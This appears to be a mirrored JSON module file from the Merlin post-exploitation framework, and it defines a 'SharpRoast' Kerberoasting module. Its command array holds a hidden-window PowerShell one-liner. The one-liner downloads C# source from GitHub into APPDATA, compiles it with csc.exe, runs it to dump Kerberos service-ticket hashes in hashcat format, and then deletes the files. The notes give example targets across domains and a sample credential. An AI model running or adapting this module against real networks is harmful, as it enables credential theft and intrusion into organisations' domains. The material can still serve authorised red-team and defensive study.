mirror of
https://github.com/Ne0nd0g/merlin
synced 2026-06-08 11:59:20 +00:00
Ne0nd0g
6bb30bb3c3
modules. Added MerlinCheatSheet.pdf to docs directory. Updated Makefile to extract version number from pkg/merlin.go
34 lines
2.8 KiB
JSON
34 lines
2.8 KiB
JSON
{
|
|
"base": {
|
|
"name": "SharpRoast",
|
|
"type": "standard",
|
|
"author": ["Russel Van Tuyl (@Ne0nd0g)"],
|
|
"credits": ["Will Schroeder (@harmj0y)"],
|
|
"path": ["windows", "x64", "csharp", "credentials", "SharpRoast.json"],
|
|
"platform": "windows",
|
|
"arch": "x64",
|
|
"lang": "csharp",
|
|
"privilege": false,
|
|
"remote": "https://raw.githubusercontent.com/GhostPack/SharpRoast/master/SharpRoast/Program.cs",
|
|
"local": ["data", "src", "GhostPack", "SharpRoast", "SharpRoast", "Program.cs"],
|
|
"options": [
|
|
{"name": ".NetVersion", "value": "v4.*", "required": true, "flag": "", "description":"The .Net Framework version compiler to use (i.e. v3.0, v3.5, or v4.*)"},
|
|
{"name": "Argument", "value": "all", "required": true, "flag": "", "description":"Argument to perform roast against. See notes for examples"},
|
|
{"name": "FileName", "value": "SharpRoast", "required": true, "flag": "", "description":"The filename, without the file extension, used for the resulting source code and compiled files"}
|
|
],
|
|
"description": "SharpRoast is a C# port of various PowerView's Kerberoasting functionality. The KerberosRequestorSecurityToken.GetRequest Method() method was contributed to PowerView by @machosec. The hashes are output in hashcat format. This module downloads the project's C# source code, compiles it with .Net's csc.exe, executes it, and then deletes the files.",
|
|
"notes": "\r\n\t-SharpRoast was created by Will Schroeder (@harmj0y) and is part of the 👻 GhostPack tool set: https://github.com/GhostPack/SharpRoast\r\n\t-Roast all users in the current domain: SharpRoast.exe all\r\n\t-Roast a specific SPN:SharpRoast.exe \"asdf/asdfasdf\"\r\n\t-Roast a specific user in the current domain: SharpRoast.exe harmj0y\r\n\t-Roast users from a specified OU in the current domain: SharpRoast.exe \"OU=TestingOU,DC=testlab,DC=local\"\r\n\t-Roast a specific specific SPN in another (trusted) domain: SharpRoast.exe \"MSSQLSvc/SQL@dev.testlab.local\"\r\n\t-Roast all users in another (trusted) domain: SharpRoast.exe \"LDAP://DC=dev,DC=testlab,DC=local\"\r\n\t-Any of these commands also accept a [domain.com\\user] [password] for to roast with explicit credentials. For example: SharpRoast.exe harmj0y \"testlab.local\\dfm\" \"Password123!\"",
|
|
"commands": [
|
|
"powershell.exe",
|
|
"-nop",
|
|
"-w 1",
|
|
"\"",
|
|
"(New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/SharpRoast/master/SharpRoast/Program.cs', $env:APPDATA+'\\\\{{FileName.Value}}.cs');",
|
|
"c:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\{{.NetVersion.Value}}\\\\csc.exe /unsafe /out:$env:APPDATA\\\\{{FileName.Value}}.exe $env:APPDATA\\\\{{FileName.Value}}.cs;",
|
|
"&$env:APPDATA\\\\{{FileName.Value}}.exe",
|
|
"{{Argument.Value}}",
|
|
";del $env:APPDATA\\\\{{FileName.Value}}.*",
|
|
"\""
|
|
]
|
|
}
|
|
} |